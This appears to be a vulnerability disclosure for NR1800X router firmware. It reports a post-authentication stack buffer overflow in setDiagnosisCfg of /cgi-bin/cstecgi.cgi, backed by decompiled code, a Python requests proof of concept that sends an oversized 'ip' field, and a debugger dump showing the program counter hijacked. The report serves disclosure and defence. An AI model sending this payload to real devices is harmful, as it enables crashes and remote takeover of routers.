NR1800X - bof - setDiagnosisCfg

Hi, we found a post-authentication stack buffer overflow at NR1800X (Firmware version V9.1.0u.6279_B20210910), and contact you at the first time.

```
int __fastcall sub_421078(int a1)
{
    char *v2; // $s1
    char *v3; // $v0
    int v4; // $s0
    char v6[128]; // [sp+18h] [-80h] BYREF

    memset(v6, 0, sizeof(v6));
    v2 = websGetVar(a1, "ip", "www.baidu.com");
    v3 = websGetVar(a1, "num", "");
    v4 = atoi(v3);
    if ( !Validity_check((int)v2) )
    {
        sprintf(v6, "ping %s -w %d &>/var/log/pingCheck", v2, v4)
        doSystem(v6);
    }
    setResponse(&word_4370EC, "reserv");
    return 1;
}
```

In function setDiagnosisCfg of the file /cgi-bin/cstecgi.cgi, the size of ip is not checked, one can send a very long string to overflow the stack buffer via sprintf.

PoC

```
import requests url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi" cookie =
{"Cookie":"uid=1234"} data = {'topicurl' : "setDiagnosisCfg", "ip" :
"a"*0x100} response = requests.post(url, cookies=cookie, json=data)
print(response.text) print(response)
```

The PC register can be hijacked, which means it can result in RCE.

```
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
V0
   0x1
V1 0x1
A0 0x1
A1 0x1
A2
   0x1
АЗ
   0x0
   0x76fed998 ← 0x6c5f5f00
0x76fe8738 ← nop
T0
T1
T2 0xa29
T3 0xffffffff
T4
   0xf0000000
T5
T6 0x3a22656d ('me":')
               ,
nse+396) ← move $v0, $zero
T7
T8 0x39
    0x770870b8 ← lui
T9
                $gp, 2
S0 0x61616161 ('aaaa')
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
0x44b000 (set_handle_t) ← 'setLanguageCfg'
S4
   S5
   <u>0x9f5138</u> ← 0x0
S6
S7
                $га
   0x770318b4 ← jr $1a
0x770318b4 ← jr $ra
S8
PC 0x61616161 ('aaaa')
► f 0 61616161
```